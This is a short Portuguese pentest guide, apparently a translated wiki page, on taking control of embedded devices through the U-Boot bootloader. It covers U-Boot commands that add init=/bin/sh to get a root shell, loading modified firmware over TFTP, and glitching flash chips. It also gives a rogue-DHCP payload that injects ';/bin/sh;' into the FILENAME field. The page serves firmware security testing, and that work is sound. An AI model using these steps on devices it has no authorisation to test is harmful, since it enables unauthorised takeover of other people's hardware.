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Os seguintes passos são recomendados para modificar as configurações de inicialização do dispositivo e bootloaders como o U-boot:

1. **Acesse o Shell do Interpretador do Bootloader**:
- Durante a inicialização, pressione "0", espaço ou outros "códigos mágicos" identificados para acessar o shell do interpretador do bootloader.

2. **Modifique os Argumentos de Inicialização**:
- Execute os seguintes comandos para adicionar '`init=/bin/sh`' aos argumentos de inicialização, permitindo a execução de um comando shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%

3. **Configure um Servidor TFTP**:
- Configure um servidor TFTP para carregar imagens em uma rede local:
%%%
#setenv ipaddr 192.168.2.2 #IP local do dispositivo
#setenv serverip 192.168.2.1 #IP do servidor TFTP
#saveenv
#reset
#ping 192.168.2.1 #verifique o acesso à rede
#tftp ${loadaddr} uImage-3.6.35 #loadaddr pega o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP
%%%

4. **Utilize `ubootwrite.py`**:
- Use `ubootwrite.py` para escrever a imagem do U-boot e enviar um firmware modificado para obter acesso root.

5. **Verifique as Características de Depuração**:
- Verifique se as características de depuração, como log verbose, carregamento de kernels arbitrários ou inicialização de fontes não confiáveis, estão habilitadas.

6. **Interferência de Hardware com Cautela**:
- Tenha cuidado ao conectar um pino à terra e interagir com chips de flash SPI ou NAND durante a sequência de inicialização do dispositivo, especialmente antes da descompressão do kernel. Consulte a folha de dados do chip de flash NAND antes de curto-circuitar os pinos.

7. **Configure um Servidor DHCP Falso**:
- Configure um servidor DHCP falso com parâmetros maliciosos para um dispositivo ingerir durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando, como `'a";/bin/sh;#'` para testar a validação de entrada nos procedimentos de inicialização do dispositivo.

**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danificar o dispositivo.


# Referências
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)